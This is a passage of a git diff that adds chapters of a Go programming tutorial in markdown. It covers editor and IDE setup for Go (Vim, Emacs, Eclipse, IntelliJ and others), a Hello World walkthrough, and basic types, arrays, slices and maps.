compilation and jumping to errors. + +vim-go is vim above an open-source go language using the most extensive development environment plug-ins + +The plugin address:[github.com/fatih/vim-go](https://github.com/fatih/vim-go) + +Vim plugin management are the mainstream [Pathogen](https://github.com/tpope/vim-pathogen) and [Vundle](https://github.com/VundleVim/Vundle.vim) +,But the aspects thereof are different. +Pathogen is to solve each plug-in after the installation of files scattered to multiple directories and poor management of the existence. Vundle is to solve the automatic search and download plug-ins exist. +These two plug-ins can be used simultaneously. + +1.Install Vundle + +```sh +mkdir ~/.vim/bundle +git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim +``` + +Edit .vimrc,Vundle the relevant configuration will be placed in the beginning([Refer to the Vundle documentation for details](https://github.com/VundleVim/Vundle.vim)) + +```sh +set nocompatible " be iMproved, required +filetype off " required + +" set the runtime path to include Vundle and initialize +set rtp+=~/.vim/bundle/Vundle.vim +call vundle#begin() + +" let Vundle manage Vundle, required +Plugin 'gmarik/Vundle.vim' + +" All of your Plugins must be added before the following line +call vundle#end() " required +filetype plugin indent on " required + +``` +2.Install Vim-go + +Edit ~/.vimrc,Add a line between vundle #begin and vundle #end: + +```sh + +Plugin 'fatih/vim-go' +``` + +Executed within Vim: PluginInstall + +3.Install YCM(Your Complete Me) to AutoComplete +Add a line to ~ / .vimrc: +```sh + +Plugin 'Valloric/YouCompleteMe' +``` +Executed within Vim: PluginInstall + + +![](images/1.4.vim.png?raw=true) + +Figure 1.8 Vim intelligent completion for Go + +1. Syntax highlighting for Go + + cp -r $GOROOT/misc/vim/* ~/.vim/ + +2. Enabling syntax highlighting + + filetype plugin indent on + syntax on + +3. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default + +4. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.sh + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + Explanation of gocode configuration: + + propose-builtins: specifies whether or not to open intelligent completion; false by default. + lib-path: gocode only searches for packages in `$GOPATH/pkg/$GOOS_$GOARCH` and `$GOROOT/pkg/$GOOS_$GOARCH`. This setting can be used to add additional paths. + +5. Congratulations! Try `:e main.go` to experience the world of Go! + +## Emacs + +Emacs is the so-called Weapon of God. She is not only an editor, but also a powerful IDE. + +![](images/1.4.emacs.png?raw=true) + +Figure 1.10 Emacs main panel of Go editor + +1. Syntax highlighting + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. Install [gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode will be installed in `$GOBIN` as default +3. Configure [gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. Install [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) + Download and uncompress + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + Configure ~/.emacs file + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + Follow this [link](http://www.emacswiki.org/emacs/AutoComplete) for more details. +5. Configure .emacs + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) +6. Congratulations, you're done! Speedbar is closed by default -remove the comment symbols in the line `;;(speedbar 1)` to enable this feature, or you can use it through `M-x speedbar`. + +## Eclipse + +Eclipse is also a great development tool. I'll show you how to use it to write Go programs. + +![](images/1.4.eclipse1.png?raw=true) + +Figure 1.1 Eclipse main panel for editing Go + +1. Download and install [Eclipse](http://www.eclipse.org/) +2. Download [goclipse](https://code.google.com/p/goclipse/) + [http://code.google.com/p/goclipse/wiki/InstallationInstructions](http://code.google.com/p/goclipse/wiki/InstallationInstructions) +3. Download gocode + + gocode in Github. + + https://github.com/nsf/gocode + + You need to install git in Windows, usually we use [msysgit](https://code.google.com/p/msysgit/) + + Install gocode in the command tool + + go get -u github.com/nsf/gocode + + You can install from source code if you like. +4. Download and install [MinGW](http://sourceforge.net/projects/mingw/files/MinGW/) +5. Configure plugins. + + Windows->Preferences->Go + + (1).Configure Go compiler + + ![](images/1.4.eclipse2.png?raw=true) + + Figure 1.12 Go Setting in Eclipse + + (2).Configure gocode(optional), set gocode path to where the gocode.exe is. + + ![](images/1.4.eclipse3.png?raw=true) + + Figure 1.13 gocode Setting + + (3).Configure gdb(optional), set gdb path to where the gdb.exe is. + + ![](images/1.4.eclipse4.png?raw=true) + + Figure 1.14 gdb Setting +6. Check the installation + + Create a new Go project and hello.go file as following. + + ![](images/1.4.eclipse5.png?raw=true) + + Figure 1.15 Create a new project and file + + Test installation as follows.(you need to type command in console in Eclipse) + + ![](images/1.4.eclipse6.png?raw=true) + + Figure 1.16 Test Go program in Eclipse + +## IntelliJ IDEA + +People who have worked with Java should be familiar with this IDE. It supports Go syntax highlighting and intelligent code completion, implemented by a plugin. + +1. Download IDEA, there is no difference between the Ultimate and Community editions + + ![](images/1.4.idea1.png?raw=true) + +2. Install the Go plugin. Choose `File - Setting - Plugins`, then click `Browser repo`. + + ![](images/1.4.idea3.png?raw=true) + +3. Search `golang`, double click `download and install` and wait for the download to complete. + + ![](images/1.4.idea4.png?raw=true) + + Click `Apply`, then restart. +4. Now you can create a Go project. + + ![](images/1.4.idea5.png?raw=true) + + Input the position of your Go sdk in the next step -basically it's your $GOROOT. + +( ***See a [blog post](http://wuwen.org/tips-about-using-intellij-idea-and-go/) for setup and use IntelliJ IDEA with Go step by step *** ) + + +## Visual Studio VSCode + +This is an awesome text editor released as open source cross platform by Microsoft which takes the development experience to a whole new level, https://code.visualstudio.com/. It has everything a modern text editor is expected to have and despite being based on the same backend that atom.io is based, it is very fast. + +It works with Windows, Mac, Linux. It has go package built, it provides code linting. + +## Atom + +Atom is an awesome text editor released as open source cross platform, built on Electron , and based on everything we love about our favorite editors. We designed it to be deeply customizable, but still approachable using the default configuration. + +Download: https://atom.io/ + +## GoLand + +GoLand is the codename for a new commercial IDE by JetBrains aimed at providing an ergonomic environment for Go development. + +Download: https://www.jetbrains.com/go/ + +## Links + +- [Directory](preface.md) +- Previous section: [Go commands](01.3.md) +- Next section: [Summary](01.5.md) diff --git a/th/01.5.md b/th/01.5.md new file mode 100644 index 000000000..2538998a9 --- /dev/null +++ b/th/01.5.md @@ -0,0 +1,9 @@ +# 1.5 Summary + +In this chapter, we talked about how to install Go using three different methods including from source code, the standard package and via third-party tools. Then we showed you how to configure the Go development environment, mainly covering how to setup your `$GOPATH`. After that, we introduced some steps for compiling and deploying Go programs. We then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful tools to develop Go programs such as LiteIDE, Sublime Text, VSCode, Atom, GoLand, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Go development tools](01.4.md) +- Next chapter: [Go basic knowledge](02.0.md) diff --git a/th/02.0.md b/th/02.0.md new file mode 100644 index 000000000..4c5f468a2 --- /dev/null +++ b/th/02.0.md @@ -0,0 +1,17 @@ +# 2 Go basic knowledge + +Go is a compiled system programming language, and it belongs to the C-family. However, its compilation speed is much faster than other C-family languages. It has only 25 keywords... even less than the 26 letters of the English alphabet! Let's take a look at these keywords before we get started. + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +In this chapter, I'm going to teach you some basic Go knowledge. You will find out how concise the Go programming language is, and the beautiful design of the language. Programming can be very fun in Go. After we complete this chapter, you'll be familiar with the above keywords. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 1 Summary](01.5.md) +- Next section: ["Hello, Go"](02.1.md) diff --git a/th/02.1.md b/th/02.1.md new file mode 100644 index 000000000..2aab7016d --- /dev/null +++ b/th/02.1.md @@ -0,0 +1,105 @@ +## What makes Go different from other languages? + +The Go programming language was created with one goal in mind, to be able to build scalable web-applications for large scale audiences in a large team. So that is the reason they made the language as standardized as possible, hence the `gofmt` tool and the strict usage guidelines to the language was for the sake of not having two factions in the developer base, in other languages there are religious wars on where to keep the opening brace? +```java + + public static void main() { + + } + + or + public static void main() + { + + } +``` +or for python should we use 4 spaces or 6 spaces or a tab or two tabs and other user preferences. If you know python then you might be aware of PEP8, which is a set of guidelines about how to write elegant code. + +While this might seem to be a shallow problem, when the codebase grows and more and more people work on the same code base it is becomes increasingly difficult to maintain the code's "beauty." We live in a world where robots can drive a car, so we shouldn't just write code, we should write elegant code. + +For other languages there are many variables when it comes to writing code. Every language is good for its use case, but Go is a little special because it was designed at a company which is the very synonym of the Internet (and distributed computing). Typically in order to optimize programs, developers choose to write Java over Python and C++ over Java, but almost all available languages widely in use were written decades ago when 1GB storage was much pricier. Now storage and computing is relatively cheap and computers are getting multiples cores, but the "old languages" are not harnessing concurrency in a way that go does. It's not because those languages are bad; utilizing concurrency wasn't a relevant usecase while the older languages evolved. + +To mitigate all the problems that Google faced with current tools, they wrote a systems language called Go which you are about to learn! There are many advantages to using golang and there are disadvantages too, for every coin has both sides. One of the significant improvements is in code formatting. Google has designed the language to avoid debates on code formatting. Go code written by anyone in the world (assuming they know and use `gofmt`) will look exactly the same. This won't seem to matter until you work in a team! Also when the company uses automated code review or some other fancy technique, the formatted code may break in other languages which don't have strict and standard formatting rules, but not in go! + +Go was designed with concurrency in mind, please note that parallelism != concurrency, there is an [amazing post](https://blog.golang.org/concurrency-is-not-parallelism) by Rob Pike on the [golang blog](https://blog.golang.org/), you will find it there, it is worth a read. + +Another very important change that is the concept of `GOPATH`. Gone are the days when you had to create a folder called `code` and then create workspaces for eclipse and what not. Now you have to keep one folder tree for go code which will be updated by the package manager automatically. It is also recommended to create folders with either a custom domain or the GitHub domain, for example I created a task manager using golang so I created a set of folders +`~/go/src/github.com/thewhitetulip/Tasks` + +**Note:** In *nix systems `~` stands for home directory, which is the windows equivalent of `C:\\Users\\username`. +Now the `~/go/` is the universe for the gocode in your machine. This is a significant improvement over other languages; we can store the code efficiently without hassles. While it might seem strange at first, this approach make a lot of sense than the ridiculous package names, i.e. package names generated for other languages using reverse domains. + +**Note:** Along with `src` there are two folders `pkg` which is for packages and `bin` which is for binary. + +This `GOPATH` advantage isn't just restricted to storing code in particular folder. When you have created five packages for your project, you don't have to import them like `"import ./db"`. Instead you can use `import "github.com/thewhitetulip/Tasks/db"` so that when executing `go get` on my repo, the `go` tool will find the package from `github.com/...` path if it wasn't downloaded initially. This standardizes a lot of screwed up things in the programming discipline. (<-- To remove and replace with actual explanation of why this is better) + +While there may be some founded complaints that go creators have ignored all language research done since the past 30yrs, you cannot create a product or a language which everyone will fall in love with. There are always some or the other use cases or constraints which the creators should consider. Considering all the advantages at least for web development I do not think any language gets close to the advantages which `go` has even if you ignore all that I said above. Go is a compiled language which means in production, you won't have to setup a `JVM` or a `virtualenv` and will instead have a single static binary! Like an icing on a cake, all the modern libraries are in the standard library, such as the `http` lib, allowing you to create webapps in golang without using a third party web framework. + +# 2.1 Hello, Go + +Before we start building an application in Go, we need to learn how to write a simple program. You can't expect to build a building without first knowing how to build its foundation. Therefore, we are going to learn the basic syntax to run some simple programs in this section. + +## Program + +According to international practice, before you learn how to program in some languages, you will want to know how to write a program to print "Hello world". + +Are you ready? Let's Go! +```Go + package main + + import "fmt" + + func main() { + fmt.Printf("Hello, world or 你好,世界 or Καλημέρα κόσμε or こんにちは世界\n") + } +``` +It prints following information. + + Hello, world or 你好,世界 or Καλημέρα κόσμε or こんにちは世界 + +## Explanation + +One thing that you should know in the first is that Go programs are composed by `package`. + +`package ` (In this case is `package main`) tells us this source file belongs to `main` package, and the keyword `main` tells us this package will be compiled to a program instead of package files whose extensions are `.a`. + +Every executable program has one and only one `main` package, and you need an entry function called `main` without any arguments or return values in the `main` package. + +In order to print `Hello, world…`, we called a function called `Printf`. This function is coming from `fmt` package, so we import this package in the third line of source code, which is `import "fmt"` + +The way to think about packages in Go is similar to Python, and there are some advantages: Modularity (break up your program into many modules) and reusability (every module can be reused in many programs). We just talked about concepts regarding packages, and we will make our own packages later. + +On the fifth line, we use the keyword `func` to define the `main` function. The body of the function is inside of `{}`, just like C, C++ and Java. + +As you can see, there are no arguments. We will learn how to write functions with arguments in just a second, and you can also have functions that have no return value or have several return values. + +On the sixth line, we called the function `Printf` which is from the package `fmt`. This was called by the syntax `.`, which is very like Python-style. + +As we mentioned in chapter 1, the package's name and the name of the folder that contains that package can be different. Here the `` comes from the name in `package `, not the folder's name. + +You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that Go supports UTF-8 by default. You can use any UTF-8 character in your programs. + +Each go file is in some package, and that package should be a distinct folder in the GOPATH, but main is a special package which doesn't require a `main` folder. This is one aspect which they left out for standardization! But should you choose to make a main folder then you have to ensure that you run the binary properly. Also one go code can't have more than one `main` go file. + +`~/go/src/github.com/thewhitetulip/Tasks/main $ go build` +`~/go/src/github.com/thewhitetulip/Tasks $ ./main/main` + +the thing here is that when your code is using some static files or something else, then you ought to run the binary from the root of the application as we see in the second line above, I am running the `main` binary *outside* the main package, sometimes you might wonder why your application isn't working then this might be one of the possible problems, please keep this in mind. + +One thing you will notice here is that go doesn't see to use semi colons to end a statement, well, it does, just there is a minor catch, the programmer isn't expected to put semi colons, the compiler adds semi colons to the gocode when it compiles which is the reason that this (thankfully!) is a syntax error +```Go + func main () + { + } +``` +because the compiler adds a semi colon at the end of `main()` which is a syntax error and as stated above, it helps avoid religious wars, i wish they combine `vim` and `emacs` and create a universal editor which'll help save some more wars! But for now we'll learn Go. + +## Conclusion + +Go uses `package` (like modules in Python) to organize programs. The function `main.main()` (this function must be in the `main` package) is the entry point of any program. Go standardizes language and most of the programming methodology, saving time of developers which they'd have wasted in religious wars. There can be only one main package and only one main function inside a go main package. Go supports UTF-8 characters because one of the creators of Go is a creator of UTF-8, so Go has supported multiple languages from the time it was born. + +## Links + +- [Directory](preface.md) +- Previous section: [Go basic knowledge](02.0.md) +- Next section: [Go foundation](02.2.md) diff --git a/th/02.2.md b/th/02.2.md new file mode 100644 index 000000000..c34bff2fe --- /dev/null +++ b/th/02.2.md @@ -0,0 +1,479 @@ +# 2.2 Go foundation + +In this section, we are going to teach you how to define constants, variables with elementary types and some skills in Go programming. + +## Define variables + +There are many forms of syntax that can be used to define variables in Go. + +The keyword `var` is the basic form to define variables, notice that Go puts the variable type `after` the variable name. +```Go +// define a variable with name “variableName” and type "type" +var variableName type +``` +Define multiple variables. +```Go +// define three variables which types are "type" +var vname1, vname2, vname3 type +``` +Define a variable with initial value. +```Go +// define a variable with name “variableName”, type "type" and value "value" +var variableName type = value +``` +Define multiple variables with initial values. +```Go +/* + Define three variables with type "type", and initialize their values. + vname1 is v1, vname2 is v2, vname3 is v3 +*/ +var vname1, vname2, vname3 type = v1, v2, v3 +``` +Do you think that it's too tedious to define variables use the way above? Don't worry, because the Go team has also found +this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type, +so the code will look like this instead: +```Go +/* + Define three variables without type "type", and initialize their values. + vname1 is v1,vname2 is v2,vname3 is v3 +*/ +var vname1, vname2, vname3 = v1, v2, v3 +``` +Well, I know this is still not simple enough for you. Let's see how we fix it. +```Go +/* + Define three variables without type "type" and without keyword "var", and initialize their values. + vname1 is v1,vname2 is v2,vname3 is v3 +*/ +vname1, vname2, vname3 := v1, v2, v3 +``` +Now it looks much better. Use `:=` to replace `var` and `type`, this is called a **short assignment**. It has one limitation: this form can only be used inside of a functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables. + +`_` (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give `35` to `b`, and discard `34`.( ***This example just show you how it works. It looks useless here because we often use this symbol when we get function return values.*** ) +```Go +_, b := 34, 35 +``` +If you don't use variables that you've defined in your program, the compiler will give you compilation errors. Try to compile the following code and see what happens. +```Go +package main + +func main() { + var i int +} +``` +## Constants + +So-called constants are the values that are determined during compile time and you cannot change them during runtime. In Go, you can use number, boolean or string as types of constants. + +Define constants as follows. +```Go +const constantName = value +// you can assign type of constants if it's necessary +const Pi float32 = 3.1415926 +``` +More examples. +```Go +const Pi = 3.1415926 +const i = 10000 +const MaxThread = 10 +const prefix = "astaxie_" +``` +## Elementary types + +### Boolean + +In Go, we use `bool` to define a variable as boolean type, the value can only be `true` or `false`, and `false` will be the default value. ( ***You cannot convert variables' type between number and boolean!*** ) +```Go +// sample code +var isActive bool // global variable +var enabled, disabled = true, false // omit type of variables + +func test() { + var available bool // local variable + valid := false // brief statement of variable + available = true // assign value to variable +} +``` +### Numerical types + +Integer types include both signed and unsigned integer types. Go has `int` and `uint` at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including `rune`, `int8`, `int16`, `int32`, `int64`, `byte`, `uint8`, `uint16`, `uint32`, `uint64`. Note that `rune` is alias of `int32` and `byte` is alias of `uint8`. + +One important thing you should know that you cannot assign values between these types, this operation will cause compile errors. +```Go +var a int8 + +var b int32 + +c := a + b +``` +Although int32 has a longer length than int8, and has the same type as int, you cannot assign values between them. ( ***c will be asserted as type `int` here*** ) + +Float types have the `float32` and `float64` types and no type called `float`. The latter one is the default type if using brief statement. + +That's all? No! Go supports complex numbers as well. `complex128` (with a 64-bit real and 64-bit imaginary part) is the default type, if you need a smaller type, there is one called `complex64` (with a 32-bit real and 32-bit imaginary part). Its form is `RE+IMi`, where `RE` is real part and `IM` is imaginary part, the last `i` is the imaginary number. There is a example of complex number. +```Go +var c complex64 = 5+5i +//output: (5+5i) +fmt.Printf("Value is: %v", c) +``` +### String + +We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes `""` or backticks ``` `` ```. +```Go +// sample code +var frenchHello string // basic form to define string +var emptyString string = "" // define a string with empty string +func test() { + no, yes, maybe := "no", "yes", "maybe" // brief statement + japaneseHello := "Ohaiou" + frenchHello = "Bonjour" // basic form of assign values +} +``` +It's impossible to change string values by index. You will get errors when you compile the following code. +```Go +var s string = "hello" +s[0] = 'c' +``` +What if I really want to change just one character in a string? Try the following code. +```Go +s := "hello" +c := []byte(s) // convert string to []byte type +c[0] = 'c' +s2 := string(c) // convert back to string type +fmt.Printf("%s\n", s2) +``` +You use the `+` operator to combine two strings. +```Go +s := "hello," +m := " world" +a := s + m +fmt.Printf("%s\n", a) +``` +and also. +```Go +s := "hello" +s = "c" + s[1:] // you cannot change string values by index, but you can get values instead. +fmt.Printf("%s\n", s) +``` +What if I want to have a multiple-line string? +```Go +m := `hello + world` +``` +``` ` ``` will not escape any characters in a string. + +### Error types + +Go has one `error` type for purpose of dealing with error messages. There is also a package called `errors` to handle errors. +```Go +err := errors.New("emit macho dwarf: elf header corrupted") +if err != nil { + fmt.Print(err) +} +``` +### Underlying data structure + +The following picture comes from an article about [Go data structure](http://research.swtch.com/godata) in [Russ Cox's Blog](http://research.swtch.com/). As you can see, Go utilizes blocks of memory to store data. + +![](images/2.2.basic.png?raw=true) + +Figure 2.1 Go underlying data structure + +## Some skills + +### Define by group + +If you want to define multiple constants, variables or import packages, you can use the group form. + +Basic form. +```Go +import "fmt" +import "os" + +const i = 100 +const pi = 3.1415 +const prefix = "Go_" + +var i int +var pi float32 +var prefix string +``` +Group form. +```Go +import( + "fmt" + "os" +) + +const( + i = 100 + pi = 3.1415 + prefix = "Go_" +) + +var( + i int + pi float32 + prefix string +) +``` +Unless you assign the value of constant is `iota`, the first value of constant in the group `const()` will be `0`. If following constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is `iota`, the values of following constants which are not assigned are `iota` also. + +### iota enumerate + +Go has one keyword called `iota`, this keyword is to make `enum`, it begins with `0`, increased by `1`. +```Go +const( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // If there is no expression after the constants name, it uses the last expression, + //so it's saying w = iota implicitly. Therefore w == 3, and y and z both can omit "= iota" as well. +) + +const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. + +const ( + e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. +) +``` +### Some rules + +The reason that Go is concise because it has some default behaviors. + +- Any variable that begins with a capital letter means it will be exported, private otherwise. +- The same rule applies for functions and constants, no `public` or `private` keyword exists in Go. + +## array, slice, map + +### array + +`array` is an array obviously, we define one as follows. +```Go +var arr [n]type +``` +in `[n]type`, `n` is the length of the array, `type` is the type of its elements. Like other languages, we use `[]` to get or set element values within arrays. +```Go +var arr [10]int // an array of type [10]int +arr[0] = 42 // array is 0-based +arr[1] = 13 // assign value to element +fmt.Printf("The first element is %d\n", arr[0]) +// get element value, it returns 42 +fmt.Printf("The last element is %d\n", arr[9]) +//it returns default value of 10th element in this array, which is 0 in this case. +``` +Because length is a part of the array type, `[3]int` and `[4]int` are different types, so we cannot change the length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references, you may want to use `slice`. We'll talk about later. + +It's possible to use `:=` when you define arrays. +```Go +a := [3]int{1, 2, 3} // define an int array with 3 elements + +b := [10]int{1, 2, 3} +// define a int array with 10 elements, of which the first three are assigned. +//The rest of them use the default value 0. + +c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you. +``` +You may want to use arrays as arrays' elements. Let's see how to do this. +```Go +// define a two-dimensional array with 2 elements, and each element has 4 elements. +doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + +// The declaration can be written more concisely as follows. +easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} +``` +Array underlying data structure. + +![](images/2.2.array.png?raw=true) + +Figure 2.2 Multidimensional array mapping relationship + +### slice + +In many situations, the array type is not a good choice -for instance when we don't know how long the array will be when we define it. Thus, we need a "dynamic array". This is called `slice` in Go. + +`slice` is not really a `dynamic array`. It's a reference type. `slice` points to an underlying `array` whose declaration is similar to `array`, but doesn't need length. +```Go +// just like defining an array, but this time, we exclude the length. +var fslice []int +``` +Then we define a `slice`, and initialize its data. +```Go +slice := []byte {'a', 'b', 'c', 'd'} +``` +`slice` can redefine existing slices or arrays. `slice` uses `array[i:j]` to slice, where `i` is +the start index and `j` is end index, but notice that `array[j]` will not be sliced since the length +of the slice is `j-i`. +```Go +// define an array with 10 elements whose types are bytes +var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + +// define two slices with type []byte +var a, b []byte + +// 'a' points to elements from 3rd to 5th in array ar. +a = ar[2:5] +// now 'a' has elements ar[2],ar[3] and ar[4] + +// 'b' is another slice of array ar +b = ar[3:5] +// now 'b' has elements ar[3] and ar[4] +``` +Notice the differences between `slice` and `array` when you define them. We use `[…]` to let Go +calculate length but use `[]` to define slice only. + +Their underlying data structure. + +![](images/2.2.slice.png?raw=true) + +Figure 2.3 Correspondence between slice and array + +slice has some convenient operations. + +- `slice` is 0-based, `ar[:n]` equals to `ar[0:n]` +- The second index will be the length of `slice` if omitted, `ar[n:]` equals to `ar[n:len(ar)]`. +- You can use `ar[:]` to slice whole array, reasons are explained in first two statements. + +More examples pertaining to `slice` +```Go +// define an array +var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} +// define two slices +var aSlice, bSlice []byte + +// some convenient operations +aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c +aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j +aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements + +// slice from slice +aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 +bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f +bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f +bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h +bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g +``` +`slice` is a reference type, so any changes will affect other variables pointing to the same slice or array. +For instance, in the case of `aSlice` and `bSlice` above, if you change the value of an element in `aSlice`, +`bSlice` will be changed as well. + +`slice` is like a struct by definition and it contains 3 parts. + +- A pointer that points to where `slice` starts. +- The length of `slice`. +- Capacity, the length from start index to end index of `slice`. +```Go +Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} +Slice_a := Array_a[2:5] +``` +The underlying data structure of the code above as follows. + +![](images/2.2.slice2.png?raw=true) + +Figure 2.4 Array information of slice + +There are some built-in functions for slice. + +- `len` gets the length of `slice`. +- `cap` gets the maximum length of `slice` +- `append` appends one or more elements to `slice`, and returns `slice` . +- `copy` copies elements from one slice to the other, and returns the number of elements that were copied. + +Attention: `append` will change the array that `slice` points to, and affect other slices that point to the same array. +Also, if there is not enough length for the slice (`(cap-len) == 0`), `append` returns a new array for this slice. When +this happens, other slices pointing to the old array will not be affected. + +### map + +`map` behaves like a dictionary in Python. Use the form `map[keyType]valueType` to define it. + +Let's see some code. The 'set' and 'get' values in `map` are similar to `slice`, however the index in `slice` can only be +of type 'int' while `map` can use much more than that: for example `int`, `string`, or whatever you want. Also, they are +all able to use `==` and `!=` to compare values. +```Go +// use string as the key type, int as the value type, and `make` initialize it. +var numbers map[string] int +// another way to define map +numbers := make(map[string]int) +numbers["one"] = 1 // assign value by key +numbers["ten"] = 10 +numbers["three"] = 3 + +fmt.Println("The third number is: ", numbers["three"]) // get values +// It prints: The third number is: 3 +``` +Some notes when you use map. + +- `map` is disorderly. Everytime you print `map` you will get different results. It's impossible to get values by `index` -you have to use `key`. +- `map` doesn't have a fixed length. It's a reference type just like `slice`. +- `len` works for `map` also. It returns how many `key`s that map has. +- It's quite easy to change the value through `map`. Simply use `numbers["one"]=11` to change the value of `key` one to `11`. + +You can use form `key:val` to initialize map's values, and `map` has built-in methods to check if the `key` exists. + +Use `delete` to delete an element in `map`. +```Go +// Initialize a map +rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } +// map has two return values. For the second return value, if the key doesn't +//exist,'ok' returns false. It returns true otherwise. +csharpRating, ok := rating["C#"] +if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) +} else { + fmt.Println("We have no rating associated with C# in the map") +} + +delete(rating, "C") // delete element with key "c" +``` +As I said above, `map` is a reference type. If two `map`s point to same underlying data, +any change will affect both of them. +```Go +m := make(map[string]string) +m["Hello"] = "Bonjour" +m1 := m +m1["Hello"] = "Salut" // now the value of m["hello"] is Salut +``` +### make, new + +`make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`, while `new` is for types' +memory allocation. + +`new(T)` allocates zero-value to type `T`'s memory, returns its memory address, which is the value of type `*T`. By Go's +definition, it returns a pointer which points to type `T`'s zero-value. + +`new` returns pointers. + +The built-in function `make(T, args)` has different purposes than `new(T)`. `make` can be used for `slice`, `map`, +and `channel`, and returns a type `T` with an initial value. The reason for doing this is because the 